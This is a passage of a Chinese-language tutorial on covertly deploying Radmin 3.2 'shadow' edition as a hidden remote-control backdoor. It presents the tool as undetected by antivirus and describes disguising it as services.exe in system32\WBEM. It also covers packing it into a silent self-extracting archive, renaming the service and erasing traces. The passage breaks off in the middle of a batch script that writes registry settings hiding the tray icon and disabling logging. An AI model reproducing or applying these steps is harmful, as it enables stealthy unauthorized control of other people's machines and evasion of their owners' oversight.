管理影子教程.doc

Radmin3.2影子版安装教程 问他们用什么远程控制软件比较好，都说用radmin3.2影子版，一个很重要的原因就是它不被杀毒软件查杀，而且速度非常快，界面也是简洁美观，可以说是高手的最爱，但是缺少一个反向连接的功能，不过对于我们控制服务器来说，反向连接也是多余的，今天我给大家带来一个radmin的智能化一键安装成新的服务或者替换成系统已有的服务，这样做的好处当然是谁都知道――进程不会被简单k掉，而且不用担心开机自启动的问题。好，接下来我们开始。首先配置服务端，很简单的几个设置，这里我用的是影子汉化版3.2，隐藏任务栏图标是肯定的了，改端口为2046（这个电影我至今看不懂，所以就用它了），如图一好了，这样就生成了r_server这个服务端，双击执行这里是没有效果的，不信你可以试试，我们需要在命令行下把它安装成服务，但是它默认的服务名称和显示名称分别是r_server和remote administrator service并且没有服务的描述，双击服务会看到进程所在的路径，如图二，三同时在任务管理器下radmin的进程r_server会显得很刺眼。思路是这样的，用rar的自解压包将radmin的相关文件解压到系统目录，然后用批处理将radmin安装成服务，并且改名，最后删掉痕迹，是不是很爽啊！Radmin的服务安装在注册表中有2个地方，分别在[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin]和[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\r_server]再如图四把radmin改名为一个系统进程名，我这里用的是services，因为服务名将来也要显示在进程中的，所以起个和系统进程名一样的名字，只是真正的services在system32目录下，我换个目录，在system32\WBEM\。radmin运行需要raddrv.dll和admdll.dll这两个动态链接库的支持，sc用来改服务描述名，2.bat 就是批处理了。我们将这五个文件做成一个自解压包，并让它自解压到%systemroot%\system32\WBEM目录下，%systemroot%顾名思义是系统目录，用来适应不同的操作系统，然后在高级自解压选项里的常规选项卡的解压后运行中填上主角批处理文件，如图五在模式选项卡的安静模式选全部隐藏，覆盖方式选择覆盖所有文件，如图六图标可以自己改一个，我就不说了。再来说批处理，在radmin的配置界面安装服务，然后将[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin]主键导出，接着把它用批处理命令写入server.reg这个自己建立的注册表文件中，注意关闭回显。这之前先把services注册成服务，注意选择安静模式，这样注册的问题在于没有了[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin]主键的配置信息，所以我们才要后来补上。@echo off@services.exe /install /silenceecho Windows Registry Editor Version 5.00 c:\server.regecho [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin] c:\server.regecho [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0] c:\server.regecho [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server] c:\server.regecho [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\iplist] c:\server.regecho [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters] c:\server.regecho Port=hex:fe,07,00,00 c:\server.regecho Timeout=hex:0a,00,00,00 c:\server.regecho EnableLogFile=hex:00,00,00,00 c:\server.regecho LogFilePath=c:\\logfile.txt c:\server.regecho FilterIp=hex:00,00,00,00 c:\server.regecho DisableTrayIcon=hex:01,00,00,00 c:\server.regecho AutoAllow=hex:00,00,00,00 c:\ser